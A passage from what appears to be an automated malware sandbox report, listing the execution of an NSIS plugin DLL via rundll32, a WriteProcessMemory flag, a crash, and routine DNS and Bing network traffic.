US 13.107.21.237:443 g.bing.com tcp
BE 88.221.83.201:443 www.bing.com tcp
US 8.8.8.8:53 22.160.190.20.in-addr.arpa udp
US 8.8.8.8:53 237.21.107.13.in-addr.arpa udp
US 8.8.8.8:53 88.156.103.20.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 201.83.221.88.in-addr.arpa udp
US 8.8.8.8:53 50.23.12.20.in-addr.arpa udp
US 8.8.8.8:53 172.214.232.199.in-addr.arpa udp
US 8.8.8.8:53 18.31.95.13.in-addr.arpa udp
US 8.8.8.8:53 92.12.20.2.in-addr.arpa udp
US 8.8.8.8:53 23.236.111.52.in-addr.arpa udp

Files

memory/2528-0-0x0000000000400000-0x000000000040C000-memory.dmp

Analysis: behavioral8

Detonation Overview

Submitted

2024-06-16 06:37

Reported

2024-06-16 06:40

Platform

win10v2004-20240611-en

Max time kernel

134s

Max time network

137s

Command Line

rundll32.exe C:\Users\Admin\AppData\Local\Temp\$PLUGINSDIR\nsUnzip.dll,#1

Signatures

Program crash

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\rundll32.exe

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 3428 wrote to memory of 1320 N/A C:\Windows\system32\rundll32.exe C:\Windows\SysWOW64\rundll32.exe
PID 3428 wrote to memory of 1320 N/A C:\Windows\system32\rundll32.exe C:\Windows\SysWOW64\rundll32.exe
PID 3428 wrote to memory of 1320 N/A C:\Windows\system32\rundll32.exe C:\Windows\SysWOW64\rundll32.exe

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\$PLUGINSDIR\nsUnzip.dll,#1

C:\Windows\SysWOW64\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\$PLUGINSDIR\nsUnzip.dll,#1

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 368 -p 1320 -ip 1320

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1320 -s 612

Network

Country Destination Domain Proto
US 8.8.8.8:53 g.bing.com udp
US 13.107.21.237:443 g.bing.com tcp
BE 2.17.107.121:443 www.bing.com tcp
US 8.8.8.8:53 237.21.107.13.in-addr.arpa udp
US 8.8.8.8:53 71.31.126.40.in-addr.arpa udp
US 8.8.8.8:53 205.47.74.20.in-addr.arpa udp
US 8.8.8.8:53 240.221.184.93.in-addr.arpa udp
US 8.8.8.8:53 121.107.17.2.in-addr.arpa udp
US 8.8.8.8:53 157.123.68.40.in-addr.arpa udp
US 8.8.8.8:53 206.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 92.12.20.2.in-addr.arpa udp
US 8.8.8.8:53 23.236.111.52.in-addr.arpa udp
US 8.8.8.8:53 0.204.248.87.in-addr.arpa udp
US 8.8.8.8:53 15.173.189.20.in-addr.arpa udp

Files

N/A